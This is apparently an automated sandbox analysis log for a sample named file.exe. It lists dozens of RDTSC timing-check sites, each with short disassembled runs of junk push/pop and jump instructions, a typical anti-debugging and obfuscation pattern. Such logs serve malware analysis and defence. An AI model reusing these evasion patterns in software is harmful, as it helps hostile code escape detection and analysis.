Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F159 second address: 53F197 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D10h 0x00000007 push eax 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007FE4A9009D0Ch 0x00000015 jmp 00007FE4A9009D12h 0x0000001a popad 0x0000001b push ecx 0x0000001c pushad 0x0000001d popad 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F197 second address: 53F19D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F417 second address: 53F41C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F41C second address: 53F424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F424 second address: 53F42A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F5B6 second address: 53F5BE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F5BE second address: 53F5D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D11h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F5D5 second address: 53F5F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FE4A91B7A0Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE4A91B79EDh 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F5F4 second address: 53F5F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53FA0A second address: 53FA4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79F7h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jc 00007FE4A91B79E6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 pop eax 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 jmp 00007FE4A91B79F9h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53FA4F second address: 53FA59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53FBCC second address: 53FBDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE4A91B79EAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544769 second address: 544789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FE4A9009D13h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544789 second address: 5447AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0FE second address: 54B104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B104 second address: 54B108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B108 second address: 54B118 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE4A9009D06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B118 second address: 54B125 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE4A91B79E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B418 second address: 54B435 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE4A9009D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FE4A9009D0Eh 0x00000010 jp 00007FE4A9009D06h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pushad 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B435 second address: 54B43B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B581 second address: 54B585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B585 second address: 54B5A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79ECh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007FE4A91B79ECh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B5A7 second address: 54B5B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE4A9009D06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B9FA second address: 54BA1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79F7h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007FE4A91B79E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54BCDB second address: 54BCE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54BCE1 second address: 54BCE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54BCE5 second address: 54BCE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54BCE9 second address: 54BD03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE4A91B79EAh 0x0000000f jng 00007FE4A91B79E6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54BE6C second address: 54BE70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54BE70 second address: 54BE74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54BE74 second address: 54BE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FE4A9009D16h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C5A6 second address: 54C5B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jnp 00007FE4A91B79E6h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C5B6 second address: 54C5BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550D7F second address: 550D83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550D83 second address: 550DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE4A9009D06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FE4A9009D13h 0x00000011 jmp 00007FE4A9009D15h 0x00000016 popad 0x00000017 pushad 0x00000018 jnp 00007FE4A9009D0Eh 0x0000001e push eax 0x0000001f pop eax 0x00000020 js 00007FE4A9009D06h 0x00000026 pushad 0x00000027 pushad 0x00000028 popad 0x00000029 push edx 0x0000002a pop edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550DCE second address: 550DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550DD8 second address: 550DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550DE1 second address: 550DE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554CC0 second address: 554CDF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE4A9009D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FE4A9009D0Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554CDF second address: 554CE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554CE5 second address: 554CEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554769 second address: 554795 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE4A91B79F7h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554795 second address: 554799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5571A9 second address: 5571B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnp 00007FE4A91B79E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5571B5 second address: 5571BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560957 second address: 560974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4A91B79F8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560974 second address: 560979 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560979 second address: 560999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007FE4A91B79E6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE4A91B79F1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560999 second address: 56099D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562F6A second address: 562F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562F70 second address: 562F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push eax 0x00000007 pop eax 0x00000008 jnl 00007FE4A9009D06h 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D9C3 second address: 56D9C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5763A5 second address: 5763A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B28A second address: 57B2B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4A91B79F9h 0x00000009 jmp 00007FE4A91B79EEh 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B2B8 second address: 57B2C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B2C0 second address: 57B2C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581E4D second address: 581E72 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE4A9009D06h 0x00000008 jmp 00007FE4A9009D0Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f js 00007FE4A9009D08h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581E72 second address: 581E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581FDC second address: 581FE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581FE3 second address: 581FEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581FEB second address: 582014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007FE4A9009D08h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE4A9009D12h 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582014 second address: 582018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582177 second address: 5821A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FE4A9009D17h 0x0000000b jmp 00007FE4A9009D0Fh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58231F second address: 582323 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582323 second address: 58233A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FE4A9009D0Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58233A second address: 58235D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE4A91B79F2h 0x00000010 jnp 00007FE4A91B79E6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5825E0 second address: 5825E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5825E6 second address: 5825EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1875 second address: 4A188F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jo 00007FE4A9009D06h 0x00000012 js 00007FE4A9009D06h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A188F second address: 4A1894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588137 second address: 58813D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58813D second address: 588142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588142 second address: 588162 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE4A9009D0Ch 0x00000008 ja 00007FE4A9009D06h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 jbe 00007FE4A9009D0Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 591FD7 second address: 592001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FE4A91B79EEh 0x0000000b popad 0x0000000c jl 00007FE4A91B79F5h 0x00000012 jmp 00007FE4A91B79EFh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A53C5 second address: 5A53E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE4A9009D0Fh 0x0000000b popad 0x0000000c jbe 00007FE4A9009D0Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A53E3 second address: 5A53F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 ja 00007FE4A91B79E6h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7FE4 second address: 5A7FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7FEA second address: 5A800D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jne 00007FE4A91B79E6h 0x0000000c pop eax 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE4A91B79F3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0D5F second address: 5C0D63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BFC38 second address: 5BFC4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE4A91B79F1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BFDB9 second address: 5BFDDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FE4A9009D06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push esi 0x0000000e jmp 00007FE4A9009D0Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C021A second address: 5C0222 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0222 second address: 5C0226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0226 second address: 5C022A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C022A second address: 5C0242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4A9009D0Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C052B second address: 5C0530 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0530 second address: 5C0536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C065C second address: 5C0660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0660 second address: 5C0672 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D0Ch 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0AC4 second address: 5C0AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0AC8 second address: 5C0ACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0ACC second address: 5C0AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0AD8 second address: 5C0ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C372E second address: 5C3734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3964 second address: 5C3968 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3968 second address: 5C396E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C396E second address: 5C3981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jl 00007FE4A9009D06h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
